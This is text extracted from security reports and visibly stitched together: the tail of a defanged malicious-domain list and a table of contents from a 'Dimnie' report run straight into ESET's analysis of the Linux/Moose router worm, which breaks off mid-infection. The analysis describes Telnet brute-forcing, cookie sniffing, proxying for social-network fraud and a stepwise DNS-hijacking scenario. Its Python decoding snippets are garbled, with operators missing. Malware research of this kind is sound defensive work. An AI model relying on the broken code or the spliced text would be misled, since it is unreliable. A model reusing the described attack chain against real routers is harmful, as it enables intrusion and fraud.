]ru babrebbab[.
]com babrebbab2[.
]com babrehbab[.
]org babribbab2[.
]ua babrihbab[.
]host babrohbab[.
]com babrulbab[.
]com babsabbab2[.
]ua babsahbab[.
]host babsebbab[.
]link babsebbab2[.
]link babsehbab[.
]com 28/35 babsibbab2[.
]pw babsihbab[.
]top babskabbab2[.
]link babskebbab[.
]pw babskebbab2[.
]pw babskehbab[.
]top babskibbab[.
]xyz babskihbab[.
]link babslabbab2[.
]xyz babslebbab2[.
]rocks babslehbab[.
]pw babslibbab[.
]space babslihbab[.
]xyz babsmabbab2[.
]space babsmebbab2[.
]biz babsmehbab[.
]rocks babsmibbab[.
]in babsmihbab[.
]space babsnabbab2[.
]in babsnebbab2[.
]org babsnehbab[.
]biz babsnibbab[.
]ru babsnihbab[.
]in babsofbab[.
]pw babsohbab[.
]link babspabbab[.
]ru babspabbab2[.
]ru babspebbab2[.
]com babspefbab[.
]ru babspehbab[.
]org babspibbab[.
]ua 29/35 babspihbab[.
]host babspolbab[.
]host babstabbab[.
]ua babstabbab2[.
]ua babstebbab2[.
]link babstefbab[.
]com babstehbab[.
]com babstibbab[.
]pw babstihbab[.
]top babstolbab[.
]top babstrabbab[.
]pw babstrabbab2[.
]pw babstrebbab2[.
]xyz babstrefbab[.
]pw babstrehbab[.
]link babstribbab[.
]rocks babstrihbab[.
]pw babstrolbab[.
]pw babsulbab[.
]link babswabbab[.
]rocks babswabbab2[.
]rocks babswebbab2[.
]space babswehbab[.
]xyz babswibbab[.
]biz babswihbab[.
]rocks babswolbab[.
]rocks babtabbab2[.
]pw babtahbab[.
]top babtebbab[.
]xyz babtebbab2[.
]xyz babtehbab[.
]link 30/35 babtibbab2[.
]rocks babtihbab[.
]pw babtohbab[.
]xyz babtrabbab[.
]biz babtrabbab2[.
]biz babtrebbab2[.
]in babtrehbab[.
]space babtribbab[.
]org babtrihbab[.
]biz babtrolbab[.
]biz babtulbab[.
]xyz babvabbab2[.
]rocks babvahbab[.
]pw babvebbab[.
]space babvebbab2[.
]space babvehbab[.
]xyz babvibbab2[.
]biz babvihbab[.
]rocks babvohbab[.
]space babvulbab[.
]space babwabbab2[.
]biz babwahbab[.
]rocks babwebbab[.
]in babwebbab2[.
]in babwehbab[.
]space babwibbab2[.
]org babwihbab[.
]biz babwohbab[.
]in babwulbab[.
]in babyabbab2[.
]org babyahbab[.
]biz 31/35 babyebbab[.
]ru babyebbab2[.
]ru babyehbab[.
]in babyibbab2[.
]com babyihbab[.
]org babyohbab[.
]host babyulbab[.
]host babzabbab2[.
]com babzahbab[.
]org babzebbab[.
]ua babzebbab2[.
]ua babzehbab[.
]host babzibbab2[.
]link babzihbab[.
]com babzohbab[.
]top babzulbab[.
]top bannarbor[.
]pw bisquitshore[.
]xyz bitrixon[.
]biz buhgalter[.
]pw buhgalter[.
]rocks buhgalters[.
]xyz businessolution[.
]site cheturion[.
]org chipacom[.
]net cloneduring[.
]pw companysafa[.
]biz corpofname[.
]pw datamining[.
]press dersteoyna[.
]pw dovnikus[.
]su 32/35 efros[.
]pw flashclicks[.
]info forbusinessgo[.
]xyz fortificar[.
]net fracking[.
]host gateoflife[.
]pw gaz[.
]rocks gedealer[.
]pw globuspp[.
]pw grandvita[.
]pw greenlanterns[.
]xyz greenworldsun[.
]xyz guardomorph[.
]com guwang[.
]pw jobforreborn[.
]xyz kokinatsu[.
]pw kukuzaki[.
]me kupala[.
]me lastsnow[.
]link maradonianos[.
]pw mercurytod[.
]pw muxa[.
]club mycorpsafa[.
]biz n-nalog78[.
]com newsunconcept[.
]in newsupport[.
]us nothingmore[.
]us novayarabota[.
]pw nvpn[.
]pw odejda77[.
]net okvd[.
]biz 33/35 olen[.
]bid onechat[.
]pw placetobuy[.
]pw platej[.
]pw poplata-da[.
]org portw[.
]org powersand[.
]link pricemeet[.
]pw puldisk[.
]xyz rabotadnya[.
]pw raintor[.
]pw ricarier[.
]org rosgaz[.
]pw rumoney[.
]xyz salesforlife[.
]top salesline[.
]top sam-sam[.
]pw sandstyle[.
]biz sandw[.
]pw santrimo[.
]lol seclist[.
]site seclist[.
]top selenaspace[.
]space sellgrax[.
]club semodo[.
]pw sensetunoespossible[.
]cat shortsell[.
]trade shortselling[.
]club sixgoats[.
]pw snp500[.
]trade solotender[.
]pw 34/35 sslprivate[.
]org tapalulumba[.
]com taskhoper[.
]com titleworld[.
]pw torglend[.
]com tradertop[.
]top trendkop[.
]pw tyuocruz1312[.
]net uchet[.
]pw uchet[.
]space visitpalace[.
]xyz volumexp[.
]xyz vortexenism[.
]biz vpnserv[.
]pw vwv.flashclicks[.
]info winsocket[.
]xyz yearreviews[.
]net Updated 3/30/17: To remove unnecessary IPS Signature number.
35/35 Dimnie: Hiding in Plain Sight Introduction Hidden Requests What the GET?
More Camouflage Decoding the Traffic Conclusion IOCs Mentioned in this Report Appendix A: Associated SHA256 Hashes Appendix B: Associated Domains
Dissecting Linux/Moose The Analysis of a Linux Router-based Worm Hungry for Social Networks Olivier Bilodeau Thomas Dupuy May 2015 Dissecting Linux/Moose The Analysis of a Linux Router-based Worm Hungry for Social Networks Olivier Bilodeau Thomas Dupuy May 2015 TABLE OF CONTENT 1.
Executive Summary 4 2.
Hunting Season Introduction 5 3.
Mooses Behavior an Overview 6 4.
Moose Herding The Operation 8 4.1.
Moose population  Prevalence 11 4.2.
Moose habitat Targeted devices 14 4.3.
Moose Motivation  Why Social Networks?
14 4.4.
Moose Taking Selfies  Deep into Instagram 15 4.5.
Multiple trails in the Moose yard  Alternative Attack Scenarios 19 5.
Moose DNA Malware Analysis 21 5.1.
Moose Reproduction  Infection Vector 23 5.2.
Going Deep in the Tundra  Spreading Past Firewalls 32 5.2.
Moose Crossing  Proxy Service 37 5.4.
Mooses Sense of Smell  Sniffing Capabilites 42 5.5.
Competitive Moose  Cleaning other Malware 44 5.6.
Moose Communication  Configuration CC Server Protocol 45 5.7.
Evolution of the Species Malware changelog 50 6.
Conclusion 51 Appendix A: Malware samples 52 Appendix B: Indicators of Compromise (IOCs) 53 Network-based Indicators 53 Host-based Indicators 53 Detection (yara) 54 Appendix C: Cleaning 55 Appendix D: Prevention 56 Appendix E: Potentially targeted vendors 57 LIST OF TABLE Table 1.
Report Telnet login protocol 25 Table 2.
Reply to Telnet login report 26 Table 3.
Report shell access protocol 28 Table 4.
Report shell access response  28 Table 5.
Partial List of Mooses Configuration Flags 30 Table 6.
Moose Configuration Values Affecting the Behavior of the NAT Traversal 34 Table 7.
Moose relay CC server response 34 Table 8.
Moose NAT traversal supported commands 35 Table 9.
Proxy Server Worker Commands 38 Table 10.
Report sniffed packet 43 Table 11.
Response to a report sniffed packet 43 Table 12.
Moose requests to configuration CC server 45 Table 13.
Moose configuration CC server response 46 Table 14.
Moose header configuration CC server response 46 Table 15.
Moose whitelist item 47 Table 16.
Moose sniffer configuration item 48 Table 17.
Malware Samples 52 LIST OF FIGURES Figure 1 Linux/Moose overview 7 Figure 2 Proxy Traffic per Destination Port 8 Figure 4 HTTPS Destination Analysis 10 Figure 5 Proxy activity categorized by destination type 11 Figure 6 Port 10073 Activity 12 Figure 7 Scanning behavior over 24 hours 13 Figure 8 Instagram Proxied HTTP Traffic 16 Figure 9 Moose Components 21 Figure 10 Moose Scanner Behavior 24 Figure 11 Reporting a Peer Found to the Configuration CC Server 24 Figure 12 Report Telnet login example 26 Figure 13 Moose Infection Mechanism 26 Figure 14 Scan from the Internet or near home 32 Figure 15 Netmask check 33 Figure 16 Loopback check 33 Figure 17 NAT traversal tunnel in action 36 Figure 18 Moose Whitelist Validation Assembly 37 Figure 19 Example of a SOCKS 4 tunnel 39 Figure 20 Looking for CONNECT method 40 Figure 21 Sniffing Network Traffic 42 Figure 22 Capture of a Configuration Exchange with CC 45 3 Dissecting Linux/Moose 1.
EXECUTIVE SUMMARY Linux/Moose is a malware family that primarily targets Linux-based consumer routers but that can infect other Linux-based embedded systems in its path.
The compromised devices are used to steal unencrypted network traffic and offer proxying services to the botnet operator.
In practice, these capabilities are used to steal HTTP Cookies on popular social network sites and perform fraudulent actions such as non-legitimate follows, views and likes on such sites.
Linux/Moose is a standard statically-linked ELF binary that was stripped of any debugging symbols.
It relies heavily on multithreading for its operation using as many as 36 threads.
Most of these threads are used to attempt find and infect other devices automatically.
The threat displays out-of-the-ordinary network penetration capabilities compared to other router-based malware.
Moose also has DNS hijacking capabilities and will kill the processes of other malware families competing for the limited resources offered by the infected embedded system.
ESET researchers ran and monitored a Moose-infected environment and collected operational information about the threat.
This information includes which social networks were targeted and the unencrypted interactions between the operators, the infected host and the targeted social networks.
Linux/Moose does not have a persistence mechanism and does not provide a generic backdoor shell access to the botnet operator.
No vulnerability is exploited at any time during its operation it spreads by finding routers with weak credentials.
This report contains an overview of the operation and an in-depth analysis of the threat, details of its network protocol, indicators of compromise (IoC), cleaning instructions, prevention advice and the list of potentially targeted vendors.
Key findings Linux/Moose targets consumer routers and modems including the hardware provided by Internet Service Providers (ISPs) to consumers The threat is built for deep network penetration spreading past firewalls It can eavesdrop on communications to and from devices connected behind the infected router, including desktops, laptops and mobile phones Moose runs a comprehensive proxy service (SOCKS and HTTP) that can be accessed only by a specific list of IP addresses The operators use the infected devices to perform social network fraud on Twitter, Facebook, Instagram, Youtube and more Moose can be configured to reroute router DNS traffic, which enables man-in-the-middle attacks from across the Internet It affects Linux-based embedded devices running on the MIPS and ARM architectures 4 Dissecting Linux/Moose 2.
HUNTING SEASON Introduction At ESET we like to investigate exotic threats.
Whether they run on atypical architectures like MIPS or ARM, or they target embedded networked devices  like consumer routers or Internet of Things (IoT) devices  instead of desktops or phones or they are designed to obscure their end goal, these threats arouse our curiosity.
There are other reasons, of course, for a threat to be considered exotic but, the threat under study here fits all the above categories.
In fact, the only thing thats not exotic about it is the name weve given it: Linux/Moose1.
Well, at least for those of us at ESET Canada Research.
This report is divided into two sections: a description of what we know about the operation, followed by a detailed technical description of the threat.
Before going in too deep into the operation, though, we need to give you a high-level sense of what Moose can do.
1 For the curious: the original malware binary filename as installed on the router is elan2.
lan is French for Moose.
5 Dissecting Linux/Moose 3.
MOOSES BEHAVIOR an Overview The high-level capabilities of this worm are: Replicate on the Internet and by way of any LAN interfaces behind firewalls Service listening on port 10073 that allows specific IP addresses to proxy through the infected device.
HTTP/HTTPS and SOCKS proxying Tunnel traffic from a relay CC server to other hosts (effectively circumventing NAT protections) Eavesdrop on network communications and send some of the captured traffic to a report CC server Periodically kill processes launched by competing embedded malware Interestingly, missing from this list is the persistence mechanism (there isnt any) and the fact that no generic backdoor shell access is made available to the botnet operator.
Last but not least, this threat spreads only by compromising systems with weak or default credentials.
No vulnerabilities are exploited by the malware.
Although downplayed by system administrators, this attack vector has been effective at compromising a lot of Internet-connected systems.
As FireEye recently stated: Brute forcing credentials remains one of the top 10 most common ways an organization is first breached.
As we have found out, the malwares main payload  its generic proxy service  is used solely to perform social network fraud.
The story is similar for stolen traffic which targets browser cookies.
http://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/ http://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/ https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html 6 Dissecting Linux/Moose With that understanding we summarize the threat graphically below: Figure 1 Linux/Moose overview Linux/Moose will periodically communicate with a set of command and control servers (CC) that are hardcoded into the malware itself.
The randomly picked CC server, henceforth the configuration CC server, will provide configuration information that will affect the behavior of the malware.
In that configuration two IP addresses will be referred to several times in this report: the IPaddress of the CC server to use for reporting and infection, dubbed the report CC server, and the IP address of the CC server to use for relay (NAT traversal), dubbed the relay CC server.
Internet Scanning all networks for devices to infect [...] Operator Social network fraud Stolen browser cookies Other routers Victim DVR 7 Dissecting Linux/Moose 4.
MOOSE HERDING The Operation When looking at the broad possibilities of this malware it is not immediately obvious what its exact purpose is.
It could go in many directions, from DDoS, to compromise of networks, and expose private servers to the operator (via proxy), steal important yet unencrypted traffic, or perform man-in-the-middle attacks via DNS hijacking.
It was not until we were able to decrypt our first configuration from the configuration CC server that we were able to start to grasp what the operators were after.
When we started running our own infected devices then the purpose became crystal clear.
This threat is all about social network fraud.
First, analysis of the configuration indicated that the data that the bot is trying to steal is HTTP cookies from popular social networks.
Twitter: twll, twid Facebook: c_user Instagram: ds_user_id Google: SAPISID, APISID Google Play / Android: LAY_ACTIVE_ACCOUNT Youtube: LOGIN_INFO Additionally, by monitoring one infected router  which we firewalled in order to prevent it from infecting others  we were able to establish the nature of the traffic proxied through these routers.
We collected this proxy data for almost a month in the spring of 2015.
Figure 2 Proxy Traffic per Destination Port HTTP 18 HTTPS 77.64 Others 0 Operator (HTTP) 4 http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/ http://en.wikipedia.org/wiki/HTTP_cookie 8 Dissecting Linux/Moose What is highlighted here is that most of the traffic going through the proxy is encrypted.
The operator traffic is carried via HTTP over a non-standard port (TCP 2318).
It is used to communicate the external IP address of the infected device to the client at the other end of the proxy.
It is worth noting that most of the HTTP traffic is for the Instagram social network and is upgraded to HTTPS right away using a Location: header.
Figure 3 Instagram server upgrades client connection to HTTPS using a Location header The SOCKS proxy overhead (1) and the redirection to use HTTPS instead of HTTP (2) can be seen in the capture.
Although we cant see the content of the encrypted traffic, we can look at the destination IP address.
Furthermore, we can inspect the certificate identifying the server and its Common Name (CN)  a mandatory attribute that allows to authenticate the website  giving us an accurate description of the destination of the proxied traffic.
9 Dissecting Linux/Moose Instagram 47 Others (Youtube, Yandex, Yahoo) 3 Soundcloud 2 Twitter / Vine 49 Amazon Cloud 1 Yahoo 4 Yandex 59 Youtube 37 Figure 4 HTTPS Destination Analysis During our monitoring, the top 3 targets were Twitter, Instagram and Soundcloud.
We regrouped the Others in a separate pie chart to make the graph readable.
In addition to the encrypted data, we looked at the autonomous systems (AS) where the proxied traffic was going and cross-referenced it with passive DNS information.
Using this method we were able to compile the list of targeted organizations below: Fotki (Yandex) Instagram (Facebook) Live (Microsoft) Soundcloud Twitter Vine Yahoo Youtube (Google) 10 Dissecting Linux/Moose We can also look at how much requests are made through the proxy and for what purpose was the proxy used.
This is summarized in the below graph.
Figure 5 Proxy activity categorized by destination type Social networks is the number of proxy requests with a destination related to social networking sites as identified by the certifacate CN, passive DNS information or the IP address AS.
botnet traffic is the number of proxy requests sent to CC and was always related to the previously mentioned TCP port 2318.
Other is any proxy request that didnt fit the above categories.
The graph highlights that infected hosts are leveraged only to access social networks and that, on average, more than 500requests per day will go through an infected router.
Unfortunately, since most of the traffic is encrypted, we can only speculate about what they are doing, even though we can make a shrewd guess.
We will get to that eventually but first lets look at how big this threat is.
4.1.
Moose population  Prevalence Despite all our efforts we were unable to make a reliable estimate of the number of affected routers.
This is due in part to the fact that the malware was built to make it hard to make an estimate.
There is no peer-to-peer protocol, it uses a hardcoded IP address instead of DNS for CC, and even though the backdoor is listening on the Internet on port 10073 to offer its proxy service, only IP addresses in a whitelist are allowed to connect.
Another reason for our lack of success is the lack of security tools ecosystems (like Anti-Virus) on embedded systems.
Finally, the hosting providers where the CC are located were relunctant to cooperate, which didnt help.
This section will list all other attempts we have made at estimating the population of this malware.
11 Dissecting Linux/Moose Probes on the Internet Something we can use to give us a sense of the activity level of this threat is the general network activity on the Internet Storm Centers probes regarding port 10073.
Since this port is unassigned by the IANA, and is not in use by any popular software, abnormally high volumes of traffic on that port could be an indicator of Moose activity.
Port 10073 Activity Figure 6 Port 10073 Activity Although we couldnt find precise documentation, we believe that sources and targets represent whether the packet seen on the ISCs probe going for port 10073 was from the source side or the target side of the probe.
In themselves the numbers might paint an incomplete picture, since the probes are seeing just a subset of the Internet traffic  but if we compare them with HTTPS traffic over the same period, we see that Moose activity was roughly only an order of magnitude below HTTPS.
We can also see a clear rise in 2014 that is too sharp to be statistically irrelevant.
We first met Linux/ Moose in late July 2014.
Since the beginning of 2015 there seems to be a decline in activity but we know that the operators are still active since they keep updating their malware.
The fact that they can remotely control the intensity of scanning activity on port 10073 might account for the apparent decline in traffic.
https://isc.sans.edu/port.html http://www.speedguide.net/port.php3Fport3D10073 https://isc.incidents.org/port.html3Fstartdate3D2014-01-0126enddate3D2015-05-1326port3D44326yname3Dsources26y2name3Dtargets https://isc.incidents.org/port.html3Fstartdate3D2014-01-0126enddate3D2015-05-1326port3D44326yname3Dsources26y2name3Dtargets 12 Dissecting Linux/Moose Moose Aggressiveness Another measure of prevalence is the aggressiveness with which the bot spreads.
We ran one infected host for 24 hours and measured its level of activity and its success rate at finding potential peers or connecting to exposed Telnet services.
Here are our results: 180000 135000 90000 45000 0 180 135 90 45 0 10073 Connection Attempts Potentially Infected Hosts Telnet Hosts with Login Prompt 10073 Responding Hosts Telnet Responding Hosts Telnet Connection Attempts Figure 7 Scanning behavior over 24 hours Over 24 hours, almost 170000 connection attempts were made on port 10073, meant for 23000unique hosts.
Of those, 36 completed the TCP handshake, which means that they might be infected, or they have another service on this port2, or they are firewalled weirdly3.
85000 Telnet connection attempts were made on 18000 unique hosts, of which 161 responded with a login banner.
These numbers have to be taken with a grain of salt since they depend heavily on the type of hardware on which the malware runs.
We ran it under software emulation  which is usually way slower than real hardware  in a virtualized Intel server  which is way more powerful than most routers.
In other words, we dont know how these numbers compare to real infected hardware but we tend to think that they should be comparable.
Internet scan Finally, we asked our friends at Rapid7 to scan the Internet on both port 10073 and 23 (Telnet) in order to get a sense of how many Internet-facing devices listen to both ports.
It turns out about 1 million IP addresses fit that description.
If we remove the devices that had no Telnet banner, that number is reduced to around 50,000 potentially infected hosts.
Still, this number is probably an overestimate because of the wild nature of the Internet and yet might also be an under estimate since many publicly unreachable and therefore uncounted devices might be infected.
All of these indicators taken together, while only educated guesses, leads us to think that this threat is real and should be taken seriously.
2 Although possible, we randomly inspected a sample of the servers and saw very few with actual responding services on the 10073 port 3 TCP FIN instead of RST or dropping the packets, which is usually the best practice https://sonar.labs.rapid7.com/ 13 Dissecting Linux/Moose 4.2.
Moose habitat Targeted devices Linux/Moose requires a Linux-based system because of its dependency on Clibc, a popular C library for embedded systems.
Plenty of embedded systems are now running Linux  from consumer routers to carrier-grade network gear through Internet of Things (IoT) appliances.
Some affected devices are easier to identify than others.
For instance: upon launch, the malware checks whether the file /home/hik/start.sh exists on disk.
This path is usually associated with Hik Vision DVRs which are being targeted by embedded malware.
Another means of identification is to look at what routers support the methods used to perform DNS Hijacking.
Last but not least is to look at what devices are affected by the threats that Linux/Moose tries to eliminate when it runs.
Here is a list of vendors we know are being targeted: Vendors Confirmed as Being Affected Actiontec, Hik Vision, Netgear, Synology, TP-Link, ZyXEL, Zhone Due to time constraints and hardware availability, we have been unable to confirm so far that certain vendors are definitely targeted.
We would love to be able to crowdsource an accurate targeted vendors list.
See the full list of potentially targeted vendors in the appendixes for vendor names and validation instructions.
As to why some of these devices would ever be attacked by the malware?
Well, there is the malwares ability to reach behind firewalls but we must not forget what we have learned in 2012 via the Carna Botnet: A lot of devices and services we have seen during our research should never be connected to the public Internet at all.
As a rule of thumb, if you believe that nobody would connect that to the Internet, really nobody, there are at least 1000 people who did.
Whenever you think that shouldnt be on the Internet but will probably be found a few times its there a few hundred thousand times.
Like half a million printers, or a Million Webcams, or devices that have root as a root password.
Internet Census 2012 (Carna botnet) 4.3.
Moose Motivation  Why Social Networks?
During our analysis we often asked ourselves, Why so much effort in order to interact with social networks?
Then we realized that there is a market for follows, likes, views and whatnot.
It is pretty clear that this is what is going on here.
First, as previously mentioned, there are attempts at stealing cookies from these sites.
However, the cookies cannot be stolen if the traffic is HTTPS and now most of these sites are HTTPS-only, so its unclear how effective these attacks are in this respect.
Second, attempting to commit fraud upon these sites needs a reputable and disposable IP address.
If someone tries to register 2000 twitter accounts from his own IP address this will likely draw attention.
To a social network site operator, there is probably nothing more reputable than an IP address behind a well-known ISP.
Just the type of network where you can expect to find badly configured consumer routers.
IoT but even medical devices Based on recent security research we have enough evidence to state that even medical devices like the Hospira Drug Infusion Pump could be infected with Linux/Moose.
Of course, just as is the case with IoT, these devices are currently more collateral damage than deliberate targeting.
http://www.uclibc.org/ http://www.hikvision.com/europe/Press-Release-details.asp3Fid3D2692 http://en.wikipedia.org/wiki/Carna_botnet http://internetcensus2012.bitbucket.org/paper.html http://www.webroot.com/blog/2013/12/11/cybercriminals-efficiently-violate-monetize-youtube-facebook-twitter-instagram-soundcloud-googles-tos/ http://hextechsecurity.com/3Fp3D123 14 Dissecting Linux/Moose 4.4.
Moose Taking Selfies  Deep into Instagram The non-operator-related HTTP traffic we were able to observe was of the well-known Instagram social network.
During our monitoring we were able to see more than 700 different Instagram accounts accessed from a single infected router over about a month.
Accounts freshly created that weve seen in the tunnels: When we checked the next day, the account had started to follow around 30-40 people: 15 Dissecting Linux/Moose This is no isolated case.
Both these accounts were seen in the HTTP traffic and then a few hours later when we checked them they were already following a similar number of accounts.
It feels as if the operators understand there to be some threshold value that must not be reached too quickly.
Looking more closely at one account, here is a Wireshark screenshot of the HTTP traffic.
You can see the username in the highlighted Location header 4.
Figure 8 Instagram Proxied HTTP Traffic After a few hours we have a user with 36 followers: 4 Sharp-eyed readers will also notice the servers redirection to HTTPS ending our ability to monitor the content of the network traffic 16 Dissecting Linux/Moose Who is he following?
We picked an account at random.
Carefully avoiding accounts with pictures that would require some blurring weve hit an account with surprisingly many followers considering that it has seven posts and follows only seven accounts: 17 Dissecting Linux/Moose After one week it got better: We have also found accounts that are following many similar accounts: 18 Dissecting Linux/Moose Like this one selling Facebook likes: By looking at the tunnel activity we were able to witness many instances of fraudulent social network activity.
It seems that people are willing to pay for this, so it is understandable that criminals will try to leverage it.
4.5.
Multiple trails in the Moose yard  Alternative Attack Scenarios Looking purely at the capabilities of Moose, several attack scenarios can be extrapolated.
However due to the complexity of monitoring this threat most of them couldnt be confirmed.
We will quickly explore the more interesting ones here.
Distributed Denial of Service (DDoS) attacks Like most botnets, DDoS capability is a possibility.
In this case there is nothing built into the malware itself that is related to DDoS but the generic SOCKS proxy implementation allows it.
However it doesnt seem realistic to waste bandwidth through proxies instead of performing direct attacks.
Network exploration Targeted network exploration and eavesdropping is definitely possible with Moose due to its NAT traversal capabilities and its integrated network sniffer, which is configured by a CC server.
The operator could tweak and monitor more closely one infection based on the IP address of the infection if it were affiliated with a government or a bank, for instance.
19 Dissecting Linux/Moose Reconnaissance then DNS Hijacking One technical limitation of Moose is that it can only perform its DNS hijacking payload on victims routers during infection.
However this is not enabled in the default CC configuration5 and so we wondered how it could be used.
Here is a credible attack that the operator could launch to leverage several pieces of Mooses functionality and that would enable a reinfection of victims in which their DNS would get hijacked.
Note  This plan requires knowledge about the malware that hasnt been covered yet.
Some of the missing pieces will be explained further along.
1.
Infect a few network devices within close range, such as badly configured consumer routers behind the same ISP 2.
Sniffer is activated and waits for HTTP Cookies 3.
Credible browsing activity occurs and operator receives all the cookies 4.
Once confirmed to be an interesting target, configuration from the CC changes: testing for infected host before going to Telnet is disabled, DNS hijacking is enabled and scanner threads are rebalanced to favor the infection of closely related IP addresses instead of random ones 5.
Reinfection will happen as the scanner reinfect hosts already infected (due to the disabled check).
During the reinfection the rogue DNS IP addresses will be put in place.
6.
Users behind compromised routers will have their DNS hijacked At this point the rogue DNS servers can point legitimate sites to phishing sites, inject malware in downloaded files, or perform man-in-the-middle attacks that would prevent upgrades to HTTPS by websites.
5 Which is good for them since they dont need to give out the malicious DNS IP address in the configuration information.
Something we would have definitely explored if it were available.
https://github.com/secretsquirrel/BDFProxy https://github.com/secretsquirrel/BDFProxy http://www.thoughtcrime.org/software/sslstrip/ 20 Dissecting Linux/Moose 5.
MOOSE DNA Malware Analysis Linux/Moose is a statically linked ELF binary without debugging symbols.
It uses Clibc as its C library.
It relies heavily on multithreading with more than 30 running simultaneously during a usual infection.
We based our analysis on the MIPS variants of the threat.
The screen captures in this report are taken from this architecture.
We quickly analyzed the ARM variant to make sure that this is the same threat and track changes through time, but thats all.
Here is a diagram of the various components of the threat that we will develop in the following sections.
Figure 9 Moose Components file elan2 elan2: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped CC threads action NAT traversal Forward trac Network I/O recvfrom Raw socket SOCKS Proxy HTTP Proxy Verify whitelist Server worker thread Listen One hour Contact report CC server Contact relay CC server Infect Contact report CC server Contact report CC server Bruteforce Propagate Connect Infect Contact report CC server Contact report CC server Bruteforce Propagate Connect Contact configuration CC server Propagate WAN Propagate LAN Eavesdrop network NAT travelsal Server TCP: 10073 21 Dissecting Linux/Moose String obfuscation with CC servers Before we move on to describe the individual components, there is one thing that is common between many of the components: The obfuscation that is applied to the strings sent through the network.
Strings obfuscated with this simple algorithm can be made readable with the following Python snippet: def decrypt_cnc_msg(ct):  Decrypt strings ct: bytearray of the ciphertext returns bytearray of the plaintext  seed k  0xff for i in reversed(range(len(ct))): XOR with previous k  ct[i]  ct[i]  k return ct 5.1.
Moose Reproduction  Infection Vector We classified Moose as a worm since it attempts to replicate automatically.
In this section we will describe how its spreading mechanism works.
Note  Several parameters provided by the server configuration packet are of interest to understand the spreading behavior.
The parameter names have been made up based on the behaviors they modified.
The full list and details of these parameters is available in the configuration CC network protocol section.
After configuration, three sets of threads are created that are related to the spreading mechanism: threads scanning random IP addresses, threads scanning closely related IP addresses, and threads created per network interface to scan these otherwise unreachable networks.
These threads share the same code, which we will refer to as a scanner thread.
The scanner threads behavior is altered by being passed a different configuration.
During the observation period, typical configuration values seen coming from the configuration CC server were: 10 threads scanning random IPs 20 threads scanning closely-related IPs 1 thread per network interface scanning local-area networks usually protected by the routers themselves Scanner threads and configuration Interestingly the number of threads per set is defined by the configuration CC server.
cnccfg_nb_thdscan_local defines how many threads should scan for IPs closely related to the external IP.
cnccfg_nb_thdscan_ext de- fines how many threads should scan using random IPs.
Lastly, if cnccfg_flag_ scanner_sniffer is set, then a scanner thread will be launched per addition- al network interface on the system  something we cover later.
22 Dissecting Linux/Moose Scanner threads The three sets of threads are each bootstrapped a bit differently.
One set is scanning purely random IP addresses, another one is scanning for random IP addresses that are in the same /15 subnet (CIDR) as the external IP address of the infected device, and the last one is incrementally scanning all the IPs on the network interfaces it found up to the interfaces broadcast address.
Internet 192.168.1.0/24 Other interfaces ( linear scan from .0 to .255 ) Closely-related IP addresses ( random scan in the same /15 of the routers external IP address ) Random scan 10.13.3.0/24 13.3.3.7 13.3.3.7/15 Figure 10 Moose Scanner Behavior The scanner performs the following operations on each IP.
First, it checks going to see if it can connect on TCP port 10073.
If it can perform a full TCP handshake, it will disconnect right away and considers that the host is already infected and will report it as such to the report CC server.
23 Dissecting Linux/Moose A Moose Encounter  An Infected Host (Peer) was Found Unlike the other configuration CC server interactions, which happen using a custom binary protocol on port 81, this exchange is done in HTTP on that same port.
Here is an example that was captured: Figure 11 Reporting a Peer Found to the Configuration CC Server There are three fields of interest here.
They are the fields set in the format string used by the malware: Note  The www.getcool.com hostname is unrelated and an attempt to mislead analysis.
The three decimal format placeholders (d) depicted above are: The obfuscated IP address The endianness of the platform reporting (0 for big-endian and 1 for little-endian) The type of scan that found the peer (0 for close-scan and 1 for Internet random scan) 6 Which is also in the URL given on infection to download the malware Server headers The server headers here are interesting.
This Apache server version hasnt been released (and probably wont be for another century).
Furthermore, to the best of our knowledge, Redhat has never been capitalized RedHat in Apache Server headers.
These leads us to think that what we have here is a custom server that is intended to behave like an HTTP server when sent anything that looks like GET /xx/6.
GET /xx/rnde.php?pdfdmd HTTP/1.1\r\n Host: www.getcool.com\r\n Connection: Keep-Alive\r\n \r\n 24 Dissecting Linux/Moose The IP address is lightly obfuscated by being XORed with a fixed key and can be decrypted using the following Python snippet (where p is the p parameter of the GET): Back to the scanner thread description: if there is no connection possible to TCP port 10073 (no proper handshake) it tries to connect to the Telnet service of that IP (TCP port 23).
It will attempt to bruteforce the login prompt (if any) with a username and password combination list it received from the configuration CC server.
On a successful guess, it will report the intrusion to the report CC server, then attempt to get a command prompt on the device.
Otherwise it will move on to the next IP address.
The Moose is In  Telnet Access The packet to report a successful connection has the following format: Table 1.
Report Telnet login protocol Name Size Description Version Integer (4 bytes) Version of the malware Message type Integer (4 bytes) Set to 14 meaning report successful Telnet login IP address Integer (4 bytes) IP address of the victim Unused 28 bytes Unused Figure 12 Report Telnet login example The reply from the server is the same packet with the version field repurposed.
import socket, struct p  -1482289528 print(socket.inet_ntoa(struct.pack(i, (p  0x7890ABCD)))) Byte ordering Unless otherwise noted, all the network protocols Integers are stored in little-endian byte ordering, except for IP addresses, which are stored their native network order (big-endian).
25 Dissecting Linux/Moose Table 2.
Reply to Telnet login report Name Size Description Hijack DNS Integer (4 bytes) If bit 1 is set to 1 and cnccfg_flag_hijackdns is set, this instructs the malware to attempt to hijack the DNS servers of the victim.
This is covered later.
Message type Integer (4 bytes) Set to 14 (sent back) IP address Integer (4 bytes) IP address of the victim (sent back) Unused 28 bytes Unused Infection mechanism After a successful Telnet login, the infection process will start.
It can be roughly summarized with the diagram and the steps below.
Figure 13 Moose Infection Mechanism Using the Telnet connection, Moose will gather information on the victim Victim information will be sent to the report CC server using a binary protocol (1) The Report CC server will return obfuscated commands to the Moose infected router (2) Moose will unscramble the commands (3) and send them to the victim through the Telnet connection (4) The commands are usually a download and execute procedure.
Depending on the victims output the steps will be repeated until a Status OK string is received from the victim  meaning the malware was installed and started  or the report CC server stops sending commands.
If you are interested in the details, read-on, otherwise feel free to skip to the next section.
Linux/Moose infected Victim CC Report CC server Unscramble commands Obfuscated commands Victim info Commmands sent to victim via telnet 2 1 3 4 26 Dissecting Linux/Moose First stage After the CC reply, Moose continues with infection, executing commands on the victim device.
